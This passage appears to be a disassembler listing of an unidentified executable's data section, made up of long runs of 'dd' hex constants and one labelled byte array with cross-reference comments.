		dd 54787043h, 0E0C00B0Fh, 3C87F2EFh, 62A8033Eh,	4F2A6763h
		dd 0CEF0B4DBh, 0DD0083BFh, 0C907DE15h, 4E277ACh, 0F37B9EAFh
		dd 61048065h, 8900A266h, 203EFD90h, 67940Ah, 11EADC9h
		dd 6E26C788h, 6C8B4D0Fh, 604B8E39h, 69290AC1h, 76E500DEh
		dd 0FA0D8A5Fh, 1001B80Eh, 5EAE9E24h, 6DC4256h, 5BAB003Dh
		dd 4AAF0D4Dh, 5D00B8EAh, 3C115331h, 3B1E4730h, 0E618CB2Bh
		dd 87A22864h, 3ED43A00h, 203B70CDh, 7613000Dh, 1E247714h
		dd 74B07DC3h, 7AC91A00h, 0E631C0F3h, 0A9B63FD4h, 295C6D00h
		dd 5B2D482Ah, 611F2B00h, 58530B63h, 12770Dh, 0AFDC0A3Dh
		dd 6EE8A0B1h, 3C16B400h, 9DF27344h, 9B24004Ah, 0D8C7DEBDh
		dd 0B41F983Dh, 29C06B41h, 6F71022Dh, 27550043h,	93ADD997h
		dd 9C1EB1D3h
		dd 570E38ECh, 0C05D03D0h, 0F140DFCFh, 0A8C09C6h, 4BC5AC31h
		dd 95013E89h, 2889CFAAh, 0F6DFD4DAh, 79D11C00h,	426DE9F8h
		dd 852D07ECh, 0C0710AA2h, 1EDC7F4Ch, 0F321ECFBh, 230F7316h
		dd 6FF79F00h, 128A98E3h, 0FC4EB6h, 670E0478h, 0DEF8DAC1h
		dd 4A5D7800h, 0BF1854A9h, 0A113260Fh, 0ED520392h, 740707E4h
		dd 5D1AFD4Dh, 0D0D59693h, 0F643D132h, 797B02Eh,	0B15BDDF9h
		dd 9E53B0FFh, 0DE009A34h, 3221B9F6h, 0FE6CE6h, 0C13387D5h
		dd 14C83B71h, 5D509Fh, 259F10FCh, 4A64201Ah, 9307BC04h
		dd 0B0801B0Bh, 0D8DE41h, 2427A089h, 882F99DCh, 350056E0h
		dd 0CD19580Ah, 7FBCC58Dh, 0D9134C74h, 5B0B5C00h, 669EB8BFh
		dd 176C34FDh, 8803BE00h, 714E58E2h, 9DAE0067h, 8E1F4665h
		dd 0F895F37Fh, 0D3855C62h, 0A2545500h, 35CCB7A1h, 3D0516C0h
		dd 1F02084h, 0B875FF80h, 802C41FEh, 0CC0F3F10h,	7790B89h
		dd 0BD9E529Ah, 0C3BF40CFh, 0E3EE207h, 8DE10E17h, 9F11C3AEh
		dd 63383121h, 213BE2F0h, 9AFFCC2Ch, 3CCD6609h, 0E5EB81EAh
		dd 5C204F7Bh, 2B013FC6h, 201CEC03h, 6588B6E0h, 58C310BBh
		dd 0C09045h, 9497F380h,	20B28C4Bh, 0DC00A7E2h, 0AA30ED65h
		dd 0DF168Ah, 9F2BF678h,	20DD705Ch, 87D4E100h, 31CC3501h
		dd 0DEFF001Dh, 8F3D4A76h, 680056D1h, 0C20E284Dh, 57EF97h
		dd 0BF0BD627h, 0D1B25824h, 7FB7CC00h, 0F0AAED94h, 64100031h
		dd 0CE829BB8h, 205022E4h, 1B125BC0h, 0AA05E0h, 1636B685h
		dd 3700156Ah, 0F34993EAh, 125F21h, 0C2690788h, 0E3A767E1h
		dd 902FD901h, 0BB1CC3CDh, 6189F8h, 190F8DA6h, 29748F8h
		dd 8024C839h, 10FE569Ch, 1A22CE4h, 8E05F2D7h, 0E065DA86h
		dd 897F22AAh, 0A4C37E00h, 0EA45E31Ch, 0A41F4C50h, 90595800h
		dd 0DEC2A518h, 0ED0EFC00h, 1B516D67h, 2C7B0001h, 4188B26h
		dd 9800A271h, 447234A5h, 9FA83Fh, 76E1BDBFh, 50B279B7h
		dd 0EB4AC600h, 0A5722BCFh, 17FBFC0Fh, 0B81D1C18h, 5B940051h
		dd 7C056F35h, 9F810757h, 6016EE5Dh, 78C36D99h, 94B00B00h
		dd 98051345h, 0B8ED001Dh, 0EA25817Bh, 460008E5h, 480ACB2Fh
		dd 0C05AC16Ah, 671E0558h, 9D0E8F3Bh, 218C1Fh, 75B60E7Ah
		dd 0F68D0F36h, 3C80C350h, 0F0F1B741h, 86156F0Ch, 48524Ah
		dd 0A0551372h, 0EEB833Dh, 26C45E0Bh, 0C85457h, 0E54BB403h
		dd 0C707AA04h, 0F3ADB53Ch, 0D192A620h, 8D821F8Ch, 93C60190h
		dd 0F01C0966h, 0FE005735h, 993BBCB0h, 9177EEh, 0F766AA62h
		dd 0A9C5B904h, 78ED5100h, 7F46D597h, 0DCC6007Dh, 2C34A498h
		dd 41001E29h, 0F5ED9349h, 18BA5FDFh, 0C82B5C99h, 2AE2E615h
		dd 62CA7B02h, 6004EFF0h, 3DA5F1C4h, 0C48174F2h,	0AB676443h
		dd 10E7E05Dh, 1AF4D200h, 0D6128BF8h, 0AA00005h,	0A369A27Eh
		dd 2C07F6BFh, 0C8653E0Ch, 0EB7B0980h, 0A7E00007h, 49C1CED9h
		dd 7100CDD8h, 3F8EF262h, 1557B87h, 4D10548Fh, 9F5D6D7Dh
		dd 2C804021h, 0C7952BA4h, 37C413F6h, 0B7BA00DBh, 1CCCB171h
		dd 0ED68340Fh, 29BA2161h, 0A8E89CF4h, 1A8A0001h, 46EC0F79h
		dd 10003EB5h, 6B2E7E0Eh, 0DE7641h, 0FCBEC8C6h, 0D7578F1Eh
		dd 72561500h, 0E71F6E06h, 79880097h, 7FFDEC2Ch,	0F07B661Ch
		dd 1881670Fh, 14130096h, 6C7122h, 2ED34123h, 0B6FA3760h
		dd 0F2080500h, 593AC62Bh, 0CBDF0042h, 27C7B734h, 9D0339B5h
		dd 45DB5F81h, 8AC3F8C5h, 0C0100048h, 4691FF32h,	760094B8h
		dd 870DA2D9h, 604A6CDh,	5568F2BCh, 2C98A86Dh, 0AC494A00h
		dd 0B431BF6Fh, 95290021h, 861B5AEh, 0D6052D1Dh,	0A73217A5h
		dd 9B91D5C7h, 94406294h, 6C1BC4h, 9063D67Ah, 733AFD4Eh
		dd 8385443Eh, 0C2385C3Dh, 0F312C822h, 690F0025h, 0F26CD7D5h
		dd 260B957Eh, 79849D1h,	4C207644h, 0CC3EB6h, 997BA0D4h
		dd 420D8EF3h, 0B0D939h,	7543581h, 2CCD2059h, 0F2555Bh
		dd 5F1C8AA9h, 340EE2CAh, 80AE7098h, 37B38045h, 6113734Dh
		dd 7EC97822h, 20585D24h, 0C41E1D36h, 7C00D762h,	0C26E716Bh
		dd 0CE65008Ch, 876C5379h, 0AE38D521h, 63E0732Fh, 5C4D9B00h
		dd 0F8C8B44h, 0B95800B4h, 0A10EE01Ah, 9307634Fh, 7FF0B5B6h
		dd 0DF65E690h, 0A57A00B0h, 0AE4A84BAh, 4B001D58h, 4483D232h
		dd 14105ED9h, 0AC637909h, 0B0FAAE00h, 39BD33Ah,	0F4DC1254h
		dd 15506E00h, 0D1A5464Dh, 3B81019Eh, 4BA608BBh,	2012FDF3h
		dd 0C0051C0h, 8E341E28h, 4A6572h, 8474B762h, 3B1260C0h
		dd 3A44110Fh, 0FCF3A0A8h, 21653Ch, 7526C345h, 7D56CF7Fh
		dd 62363500h, 0B661E49Ah, 7050E88h, 0D9E0FF2Ch,	1F17E84Bh
		dd 215EC707h, 0F5F0F438h, 2EB539A1h, 0C97h, 3A23FF7Ah
		dd 7B079E09h, 4F14180Ah, 84BC2920h, 2AF86Ah, 0A69934B0h
		dd 4968235Ch, 0A786A100h, 0BF92B660h, 2BE5004Eh, 3629AD27h
		dd 4B00FFE4h, 6B3208B2h, 3F8CB5h, 0C3797DEFh, 0F1B3F459h
		dd 660430B0h, 0C21308BEh, 3937B3C3h, 9300C920h,	5A721657h
		dd 1703AF3Dh, 36F8C6BFh, 8BCDA8F9h, 0A1460042h,	11B9E2D4h
		dd 99003F9Ah, 0C7D1937Eh, 0FA2FA4h, 0FF56BF46h,	0B030399Dh
		dd 84E84Dh, 0BB57B75Bh,	32CD0BAh, 21895952h, 0F0F78708h
		dd 3B26B364h, 8A351000h, 6CCD8522h, 0E0BB00EFh,	0DA533784h
		dd 848FD7Bh, 90860070h,	81A1E296h, 0D8B358C3h, 20C2B70Fh
		dd 7FD5DAFh, 70499B0Bh,	0DDEC38F0h, 0EF51CE00h,	164AC49Ah
		dd 0BA7B28h, 78CBE954h,	0B799095Fh, 7E07DE1Dh, 0BFD5EAC0h
		dd 0C7C0AAh, 0E7F96121h, 97AB1AE6h, 20B7B40Fh, 0C273E13Ch
		dd 29E42425h, 0AED60038h, 2CC38B7Eh, 0CEEC51EBh, 6D7417F6h
		dd 374864B8h, 0B5090E57h, 0DD1E1D2Ah, 1CDE0440h, 0B0E13310h
		dd 7C2E0031h, 0EA5118D1h, 3C14B301h, 4CF07A31h,	98B90E5Bh
		dd 771C00F6h, 0E8164A6h, 0CFED52Ch, 6E90BAE0h, 2312D69Dh
		dd 8F00C72Fh, 0BBF9FADFh, 0E9DB0066h, 9B1AC340h, 0B6009881h
		dd 0B7B5303Bh, 3ABE610Ch, 2CC81B5Dh, 0E7D1E11h,	27DFF898h
		dd 1AE783BBh, 14515DD1h, 0E24D9CE8h, 37D60002h,	7BF38012h
		dd 8C0017D1h, 0E94F1BC2h, 1AF833h, 0CA1503Eh, 1132FCE4h
		dd 891DCB72h, 29D86627h, 0AE220Ch, 76CE8E72h, 65880EBFh
		dd 0D20070E4h, 0FDD939C5h, 1875C886h, 0A05BF5BAh, 61418B0Bh
		dd 0A19C0h, 0D306DAB1h,	43779D5Ch, 80229930h, 4B50DEh
		dd 0B8CBFCD2h, 0CAE336ADh, 60F7140Bh, 0BD1C0146h, 9434E0D9h
		dd 0EEC90F76h, 6A0013D2h, 1FAC9252h, 2C360D00h,	2897597Bh
		dd 0B5E687h, 75D02BB2h,	3174F5E0h, 532460E6h, 0A6001886h
		dd 4AD88C88h, 5F273FFAh, 97CD3B02h, 0FB40F167h,	9B0011ABh
		dd 45FA3A79h, 0DF1934h,	0CB7E47D1h, 9E4E6E8h, 8A397600h
		dd 0A0E21AEEh, 349027h,	30DA9A5Eh, 45757A77h, 0A4E9C600h
		dd 0AF34F552h, 3FEA01E8h, 640DC0CFh, 1E2130CCh,	4E9B8702h
		dd 0A097BC6Ah, 2AB3FC98h, 0C2AA00A4h, 0F09C96C0h, 0BB2C74FAh
		dd 580C8E7h, 0DE4E8C3Fh, 0A9350037h, 28B21A7Fh,	9B0C726Ch
		dd 0F46FFD07h, 0D0300BCh, 96360B0h, 7800A4AAh, 0CD66EB44h
		dd 9CC7D9h, 9AE5F5E3h, 856DA11Fh, 5A838B07h, 19F0354Ah
		dd 168FB568h, 42E244B0h, 1E9E48F0h, 0F57F1040h,	0B5614313h
		dd 1FFD5B00h, 0E35332h,	0A14895CEh, 88C0A835h, 61287100h
		dd 0AD397E66h, 0ED9209B8h, 0F810484Dh, 2600BF41h, 7358FE11h
		dd 261A9AB5h, 0CC8E2Dh
		dd 0A3B0CDF9h, 0BFE2D68Ah, 0A017494h
		db 0C1h
byte_530055	db 0C5h, 0DAh, 20h	; DATA XREF: ___:off_4385A4o
					; ___:off_4385BCo
		dd 907F6830h, 2C5401D0h, 92FE09E0h, 7056E1D7h, 0C5005A75h
		dd 0A0A9AA3Ah, 34765Bh,	83B862DDh, 1542D428h, 0C6F1AE00h
		dd 0E8906ACDh, 2D581ECCh, 2093EE68h, 7E3B0FDCh,	6300890Fh
		dd 80E844B5h, 84935B00h, 2986701Ah, 0E4EA0048h,	59B882Ch
		dd 0F254AA0Dh, 0AE0090E4h, 0B9CE98D6h, 0E99BA2Ch, 5F676604h
		dd 0B930A00h, 20006BF9h, 0CF4315DFh, 0B8068824h, 5FA003A0h
		dd 97D13860h, 2FDBD5A0h, 4154F90Ah, 0A80EE477h,	0EC00D29Dh
		dd 0F2D4AE2Bh, 8A70007h, 569F03F4h, 0A1007009h,	1C262979h
		dd 145D3F71h, 0BC889E28h, 12B19A80h, 0FB12EC23h, 3AC6A19h
		dd 0E81A0D0Fh, 47899CC0h, 551DF542h, 3D405292h,	11FFF2BAh
		dd 0CC6B3A61h, 0BD5FAA00h, 0C79F9B7Eh, 90E25400h, 0AE3027F0h
		dd 89FD03EEh, 0BECA1CAFh, 53435E92h, 0BA90C09Dh, 41009A32h
		dd 0CB0374DCh, 0E86907ABh, 9FE10E4Eh, 0A8804D66h, 51EFC75Fh
		dd 770094B8h, 0C0FA2303h, 7E73F93h, 0AEB11C45h,	0C61ED06Ah
		dd 5F26B734h, 9200900Fh, 47C1E88Fh, 56C50957h, 0B1827180h
		dd 0F8C0FCB6h, 100ECB4h, 9BBE44EFh, 904A8259h, 498B00EBh
		dd 307A33E0h, 880072FAh, 2A86B047h, 14CF7CB4h, 0D93D5EA0h
		dd 65E47A00h, 8E99ED29h, 56FB670Fh, 25B7E5E1h, 0AD4D0F80h
		dd 35FF1E7Bh, 0E786482h, 34C264A0h, 8903EC4h, 3C88052Fh
		dd 94F70084h, 82BA6D7h,	6200F6B6h, 8A8FE4C7h, 12842C96h
		dd 154A113h, 9CCEED2Ch,	0E9D98360h, 0B7374541h,	216546h
		dd 0ACA40A08h, 5A82431Ah, 0C80062FCh, 0A6FD14E8h, 31DCE3Ch
		dd 0D702069Ch, 800296FEh, 396BA0F5h, 585C5026h,	0A2079292h
		dd 934549EBh, 0AA33110h, 0BACEB2C7h, 0ABE14082h, 0B4E04C80h
		dd 590070C6h, 73D30137h, 3D95181Dh, 0EF80E6D2h,	8D7D86B7h
		dd 8C00C059h, 0A2D5025Ch, 288FF5Dh, 6F3767F4h, 40D55E04h
		dd 5F23FBh, 0DFD20518h,	0F056F9CCh, 3662E200h, 3AA4B29Ch
		dd 4B7C000Eh, 6EEB6B50h, 6C1FAAC8h, 0FB40247Fh,	4470C572h
		dd 0F59C03EAh, 0B9EF8CB8h, 430728E0h, 11A34600h, 2771C7CAh
		dd 2C57064Bh, 28B0E161h, 940303B0h, 7793C4EDh, 2030631Dh
		dd 0EF8A8E89h, 0B3ED90A7h, 21004FEBh, 8CD0C605h, 60619C7Dh
		dd 0B8F248AEh, 0B771C5F5h, 4B4130C0h, 50B9A928h, 66E1C81Ch
		dd 51700864h, 29732201h, 6CC9437Dh, 3189B051h, 54DF00D2h
		dd 0AE00E053h, 0ADE2E8CFh, 70D0949Ah, 9F60085h,	31210530h
		dd 0FEB0F5DAh, 804B263Bh, 7C5FFC10h, 30596265h,	0AF589344h
		dd 0B53DE0CFh, 0E67313D7h, 25BC8A05h, 0C0EFCF0Fh, 5FD189F8h
		dd 0D67633h, 0BA183C88h, 0C9FF060Ah, 12939400h,	8CDEFC42h
		dd 6F830009h, 5D93A96h,	0E500D387h, 5A4B748Eh, 1DD76A7Bh
		dd 1869A36Eh, 56AE2102h, 0BC75F8FBh, 0F51A1203h, 87BD316Fh
		dd 5D54EC1h, 0B3F32880h, 0D151BF24h, 868B6903h,	0AE8A4099h
		dd 0D2C60049h, 2E339E24h, 0D83873C8h, 0D1037C82h, 860B38EFh
		dd 3581DDDh, 60623E8Eh,	0A8184DB3h, 51BE1124h, 21B98CA9h
		dd 24BB0095h, 2759967Fh, 18C3D38Bh, 0D0BE708Fh,	0C015382Ah
		dd 0A5794BD1h, 0FD03CA41h, 0A949C13Fh, 26390E7h, 0ADEF1C04h
		dd 2A57C140h, 8109591Dh, 2016D361h, 0A9B2463Bh,	80B055A0h
		dd 0C03424AAh, 50089951h, 0D59380CAh, 70193224h, 4A714278h
		dd 7D603C62h, 0E0050014h, 11002DD2h, 983F52E2h,	7675AFAh
		dd 779A1744h, 8F4211BDh, 488094F3h, 4A880FE4h, 7C4818A6h
		dd 241D072Fh, 80B842C6h, 0DCD96B8Ah, 0BFFE300h,	1D45BB7Eh
		dd 87D1010Fh, 1AC6E912h, 9DB1F0A2h, 4FC3FE00h, 0BB236527h
		dd 62161708h, 521C00B4h, 6F415CCCh, 0D235B600h,	4A1BDA28h
		dd 821E00ECh, 8C3B9D3Ah, 200F348h, 132A0EA1h, 0DA575Eh
		dd 0F5D1BA75h, 0B28A737Ch, 0FA8E8700h, 4E01B123h, 0E4F90028h
		dd 1D6E0619h, 0C300E6BFh, 0C278274Dh, 0AE7FE9h,	6A0F9EEAh
		dd 5932884Eh, 905B7604h, 0FD80083Ch, 1278A3DAh,	0BBCA2Eh
		dd 0D92B8E9Dh, 0AB3D2CC8h, 0AEF38608h, 0F050209Eh, 2819C0EFh
		dd 4B2D17BDh, 0ED00F1FCh, 7E4258FDh, 2EA39A41h,	41B8F7Ch
		dd 0C184E4F6h, 80E595B5h, 608E32A6h, 3ADB81h, 0FB294DA1h
		dd 9FB8EBF1h, 0B3BF3403h, 0E4C87E2h, 0F1FC918h,	4088A827h
		dd 0C4DA404Fh, 74F1F900h, 733CF3C8h, 0ACA6001Eh, 50353687h
		dd 2E006A44h, 0F5D6418h, 98DB6178h, 0FD50C126h,	0C8BD74F5h
		dd 28600A2Ch, 22C7A8D0h, 71DE0140h, 32DDC5A1h, 20DC46FFh
		dd 291FC330h, 9FF334FBh, 0E1001158h, 0ED1CBB88h, 0CCC318h
		dd 0EF16C477h, 22DDC2F0h, 0C858BD07h, 0CAF1CE83h, 1D309AD8h
		dd 0F7A10009h, 0FF631EE5h, 2B03A0D9h, 0FE57BA66h, 4F2DC0D6h
		dd 1CC37F62h, 8CF7D53Dh, 0AF205977h, 0B607157Fh, 9F326C2Ch
		dd 1F5E397Ch, 0C4C35Bh,	0D56B3835h, 21CADB0h, 4E8719F5h
		dd 58735973h, 0C4800A6h, 0DA3AF1C7h, 88008DF9h,	0BB90D391h
		dd 6A11FEh, 0F0745985h,	0C0B8B472h, 63311903h, 7657F20Ah
		dd 7A4A1840h, 28F53874h, 6BE8F403h, 0E93825Ah, 78834761h
		dd 0D07E5620h, 8F00B944h, 529F573Fh, 4BC7A6E1h,	6FEEA0BFh
		dd 24801E06h, 170B82Ah,	0C5E66EABh, 8CCD1362h, 597F83B1h
		dd 949F005Eh, 0A85F1807h, 0AD0A54EEh, 88857535h, 3E937901h
		dd 0A980F677h, 0D9AD86CFh, 1800AA2Bh, 1FFB826Eh, 0DC46EFh
		dd 48C1390h, 0D5DA6B8Dh, 87F6F818h, 12386F8h, 64E4533Fh
		dd 8969A5E2h, 75D838E8h, 1280E50Fh, 4FE8DCD7h, 9FD3AF00h
		dd 2FD02A6Ch, 30C670A7h, 5748BAEEh, 0B8004193h,	0F2927108h
		dd 3E88B2Eh, 3C83BE0Fh,	73C85A37h, 9BE47D96h, 0EF089963h
		dd 9C200B0Ch, 5C876C9Eh, 0C2CCE084h, 0D0003AD3h, 0A6B2B971h
		dd 580FDCh, 68FF200Dh, 0E689B7DFh, 579A6095h, 0D4CD062Bh
		dd 71467FAFh, 0DCF66700h, 13E65015h, 0F7B50755h, 604BF549h
		dd 2C729C3Fh, 24A1E300h, 0DE6B2362h, 0FF2E0EE5h, 1BE70F1Ch
		dd 71EC400Ah, 8203A1C1h, 99E5DDEFh, 0D78AB1E8h,	69B1E4F1h
		dd 0C8D54E8h, 0C45A04EDh, 327A8673h, 35F620F3h,	0D900A65Ah
		dd 0B4A4AAA9h, 3777F0Fh, 0F1AFDDECh, 0D90F864Eh, 384C9F88h
		dd 141CC018h, 8499799Ch, 3FE3BE1Ch, 0B0DE7500h,	0F8179A63h
		dd 1BEE08C6h, 4CE0F320h, 486203BCh, 538EABEAh, 63B598E0h
		dd 0DC88E060h, 3E77E8Ah, 20AFDAEFh, 0A6E04431h,	93E1BCC6h
		dd 67006480h, 46140AE6h, 0E9E70CFh, 1D1B4C2Bh, 94863FE0h
		dd 4B0095D8h, 0A20F8F54h, 7BE7AEBBh, 0D97C33h, 0E4AF987h
		dd 3ACF191Fh, 8C004774h, 4B1665E1h, 70FBD15h, 98C00EA0h
		dd 219E665Ch, 4B00EEF2h, 6451DD2h, 0DDDDBDE6h, 72C2C018h
		dd 822B0AD8h, 6FC0CE00h, 2E3BE5B3h, 6B20D4F5h, 107CA514h
		dd 0C13871Ch, 3741263Bh, 9B504CE8h, 0AD00F928h,	0BEAC48A0h
		dd 636C392Dh, 8A4D08BFh, 0E5D02000h, 107DB5A2h,	988000D3h
		dd 0B8B9AC8Bh, 86000E59h, 9363FB6h, 5E656A7h, 508CCC3Bh
		dd 0E93040AEh, 5D97C4A2h, 0ACCE2E42h, 0AB04A260h, 76F0BA50h
		dd 53252018h, 855AC0h, 2F5AF65h, 6B4EE542h, 54006EEAh
		dd 47126C53h, 7C8DEB2Fh, 83F60086h, 0A62BECDDh,	8A003DFCh
		dd 0E9E55F06h, 179AC5D2h, 0BD0ABBh, 0C83C8D90h,	0CEF041FDh
		dd 8934E900h, 219C638h,	6BAD00B3h, 8C3EB6FCh, 78074310h
		dd 808D5CB5h, 0E9C03A57h, 696732h, 0D922AA9Ah, 0C4437038h
		dd 4DB90100h, 275BC7E7h
		dd 2BC90053h, 501A6DB2h, 0C5E6FC34h, 4DB04E76h,	16BEB600h
		dd 0D4252269h, 0C3EF0175h, 1F3331A8h, 4CFCD03Fh, 0ACD90D13h
		dd 0D2540Fh, 0F6C979C4h, 0FD5100C6h, 7E705ABCh,	6B0E6678h
		dd 8C69E967h, 1F732103h, 0C0E65A13h, 0DED5494Eh, 905897CCh
		dd 6CE100ABh, 0C5411DC6h, 30CB7CECh, 0C239D5A8h, 57005F4Eh
		dd 6703CE04h, 301463D9h, 8D40D501h, 0C65CFD61h,	5A930093h
		dd 3D2096B2h, 0D4C0054Fh, 809D51C9h, 989F01AEh,	0E4234300h
		dd 0C6939590h, 214D60FDh, 1316634Ch, 7A720800h,	841AA08Ah
		dd 2848606Ch, 9F5B9530h, 0E09D91CEh, 2465AEBFh,	0D4620ED6h
		dd 0CFD0625h, 13209349h, 0C1BB3Ah, 4ECEA6E2h, 81F078h
		dd 5D4F1A70h, 6ECFBE03h, 3553A0A0h, 109A7430h, 92BC41h
		dd 563B8ED5h, 0B43C5045h, 0CCE1AA07h, 5B083F2h,	0C3D828h
		dd 0D05FEA16h, 45F04D01h, 6E0F9C00h, 73EE4E2Eh,	0ECADEC63h
		dd 85D407ABh, 0BBE66BD5h, 60D99C07h, 6A1E426Fh,	0FBA83400h
		dd 5FC2558Dh, 3D3724B9h, 60003B39h, 6AC8DCC0h, 8E00644Bh
		dd 87F83EB3h, 7DCA55A3h, 1243071Bh, 604B42D9h, 162C86DCh
		dd 0F673811Dh, 0A347B35Ch, 64B03E88h, 59ADA1h, 7650211Bh
		dd 0DB0351B9h, 32205D1Fh, 0F10BE380h, 71998Ah, 0CDE8BB0Ch
		dd 975DB0CBh, 86268300h, 101D7ABFh, 7C60F615h, 0DE65785Fh
		dd 8919849h, 6C00921Eh,	0DFE1F839h, 0E60E0h, 0CB7FE5A5h
		dd 0C82C1694h, 259BC700h, 0D4304B5Dh, 23290037h, 88514596h
		dd 31E814F4h, 0ED9F19C0h, 30019DB0h, 0EA6163F9h, 500083ACh
		dd 0D4A45DA3h, 8BCDEE9h, 22CC9CF5h, 0EC841707h,	0E7B84830h
		dd 8853068Ah, 587DAEACh, 503FA979h, 27506F7Ah, 6A70499Eh
		dd 3B392B9h, 0BF05703Dh, 0B588232Eh, 0C190FB21h, 59DABD00h
		dd 0B20E1B10h, 718A3192h, 20E8E440h, 5E037FB6h,	0C23FB497h
		dd 3AA80058h, 0AE2EB8F1h, 0E50E2859h, 0A05E420Eh, 820815BCh
		dd 49F000B5h, 0C753DE5Ah, 0CE00C593h, 0F198D916h, 865BA4h
		dd 1118D5A6h, 5E344CC9h, 8EECBB07h, 25764487h, 0A09D0010h
		dd 1436D60Ch, 30C0134Ah, 5FC44BDh, 17C9065h, 7CD61017h
		dd 60DCC22Fh, 0A107D280h, 0C0F3FB87h, 20A40A01h, 1E69B30h
		dd 0FF9694C7h, 0D4AD2E6Dh, 840708C2h, 0E2CBC52h, 0A15844D3h
		dd 28D194C6h, 18335880h, 0F0F2B486h, 8E89E000h,	0B5F8958Fh
		dd 64C63A0Fh, 0F4DCED83h, 0B000DED8h, 989AD34h,	72F4804h
		dd 2A999F82h, 4654209Dh, 0BA002210h, 3870A560h,	7F17B9h
		dd 24FCC5DDh, 0B8F7D742h, 0E698A100h, 4D739123h, 3DD9EE2Dh
		dd 0FF36237h, 5C0C9BCDh, 74028AE0h, 2F39BBE6h, 0D05D8081h
		dd 77972BCAh, 32E800E3h, 0DA407B02h, 0D803308Dh, 0B06E0C27h
		dd 7FFBF894h, 3E5D00C9h, 905418FAh, 6900B6CFh, 7DC7A121h
		dd 701691F9h, 0B37672h,	8B93F31Dh, 39AAA701h, 0DA2CED00h
		dd 10CBBD05h, 1BD35876h, 1E3FD607h, 0A0870F31h,	0B62A094h
		dd 0E1009BEBh, 0A95B9964h, 204B826h, 0A189E568h, 4E087F9h
		dd 3C7085ABh, 41C01FE0h, 0A86C250Fh, 37F20346h,	0EBA7D623h
		dd 8E3C87E0h, 0C000A3B0h, 4DAA75B3h, 1DF5F2h, 5D0EC754h
		dd 8DEE682h, 542F801h, 7EF65F3Bh, 94870h, 0B93243CEh, 0ECB18D1Fh
		dd 0EB4C9700h, 143F5AB6h, 70FB3FAAh, 12F5E297h,	65E10370h
		dd 0ECF885EFh, 5B0C23F6h, 8802A8C0h, 4C48777Bh,	0C5008A53h
		dd 0B3DDD435h, 37000891h, 4D820C31h, 0EAE823E5h, 5E137C7h
		dd 72C43140h, 0FFC88AF8h, 6429822h, 5F9B601Ch, 6F8039F4h
		dd 3E9FA93Bh, 3D7480DDh, 44DA578Dh, 9939EA0Fh, 3F9A20E7h
		dd 39C18683h, 628713C3h, 67467890h, 23B8B0CAh, 0BD00D4F4h
		dd 9BEC4820h, 7EC291B9h, 242D00D6h, 304A38Eh, 5C3DC973h
		dd 200C98A5h, 0EDE8450h, 13706733h, 0B308D840h,	0F30030E6h
		dd 0EC5EAF77h, 0EE5AA90Eh, 0E2DB008Ah, 0A48EAD25h, 0FF76D9D1h
		dd 786ED6C0h, 1892A17Ch, 582DEA4Ch, 0E90055C9h,	5C170E38h
		dd 0A6412Eh, 0F2A0349Bh, 0A51D8947h, 9A66A306h,	18A925h
		dd 3E980E6Eh, 368D1A8Bh, 1C52244h, 7A26199Eh, 87670627h
		dd 2FAAC30h, 782E83h, 28F5B228h, 82ADC7DCh, 8018DFF0h
		dd 3FE0C1AAh, 7BA01562h, 0FD0FA03Ch, 2D8129F8h,	47790C8Ch
		dd 0F55F40ACh, 0D0115FAh, 0D64C616Eh, 80E84B88h, 541F00A4h
		dd 6F1BF004h, 0B33B25FAh, 172D005Ch, 3722DE9Dh,	0AA270146h
		dd 0A0042982h, 0AB5CC59h, 0CA0088B8h, 2ED9C15Ah, 32B0BDh
		dd 0BE65EE58h, 20E935EDh, 3EA73Ah, 6B12CA26h, 1D048FDCh
		dd 80056CAFh, 0E3A68148h, 0C6EAC56Ah, 1B507860h, 0E6CB2212h
		dd 6D96305Bh, 0A7F3B848h, 41C071DFh, 0A4CFBC4h,	0C3E63048h
		dd 2E344F19h, 511C5D02h, 60D1EC41h, 9E370Dh, 0E27CE6FEh
		dd 78DACE2Fh, 0CB00DB73h, 46EBD00Bh, 0C09957A6h, 2AF47219h
		dd 0B530E6C3h, 9A845914h, 6A410F67h, 2120693Ah,	5F8D0962h
		dd 0CEB70E00h, 0A474A12Fh, 3CB0F86h, 1883E197h,	4176307Ch
		dd 0BAF653Eh, 696324Ah,	79D0F6DDh, 0C9B40230h, 5B17901Fh
		dd 0B3B51880h, 351F7A87h, 564FBDA1h, 7F10E043h,	0A0CD700Fh
		dd 0CA2A78Ch, 0C4A4E407h, 0CB001710h, 95744301h, 0FC7AEh
		dd 0D0B07BA5h, 0F42EAD88h, 0F044812Fh, 1E0EFC4Bh, 4084C31Dh
		dd 51177FABh, 2D0242B5h, 1AD3AE9Ah, 0E989600Fh,	823C1C89h
		dd 0DE35005Ch, 746E5499h, 66AA2E60h, 0E8B70848h, 0E2CE0E45h
		dd 5980346Fh, 0D11E1CB5h, 94188561h, 660106BAh,	78AFDCACh
		dd 58F64D01h, 8170AB91h, 34B84080h, 5B24B3EDh, 4682DC17h
		dd 16FB800h, 1BADA5Ah, 786656EAh, 80C3E57Dh, 0B9113540h
		dd 77649A1h, 82C74AFDh,	0A5D2D074h, 227DF65Ch, 3180B101h
		dd 3513C56Fh, 3A00C7E7h, 54DEB2h, 634591DCh, 824EE037h
		dd 0D1036290h, 95202E05h, 0B2B00CCDh, 18A05881h, 4DB7B60Ch
		dd 605218CCh, 67AEB885h, 0F800CF7Ch, 1793DE4Bh,	6F936CEh
		dd 846323A7h, 450131C6h, 1CE97931h, 34F17D10h, 0B2D85FFDh
		dd 2E5A0095h, 0DAA5E67h, 0A20081A9h, 8C2F4097h,	1578AF6h
		dd 0C15236D4h, 2AFD650Eh, 55C999F0h, 87E02426h,	8D5A0194h
		dd 9C8A5793h, 0D536609Eh, 0DE5990C2h, 0D3C0A140h, 94C07414h
		dd 147EF6D7h, 84F21699h, 1C60C000h, 8493A0D2h, 1990970Ch
		dd 18C240E7h, 0D0FC6A27h, 918BCD76h, 208090F1h,	0D070CBAEh
		dd 8804D1BDh, 0E011ABE8h, 0C08401C0h, 49590466h, 909458DFh
		dd 6923CD14h, 0F16C0400h, 184FFBFAh, 8FAC01B5h,	4B6BC8B1h
		dd 0E2F54010h, 0FA07194Eh, 0F06535C2h, 12C0E110h, 3DC79CCh
		dd 5CB45F85h, 0B0006282h, 42BB7321h, 0B09C14h, 9DB27980h
		dd 437764DFh, 0E1141890h, 7842E85h, 0BD5E3F6Eh,	0EFA38C60h
		dd 173000D9h, 0B489731Dh, 2407A7CFh, 723A134Dh,	4A8D1E40h
		dd 6E9E00F6h, 98D144C1h, 84003F45h, 7522D403h, 342C09Fh
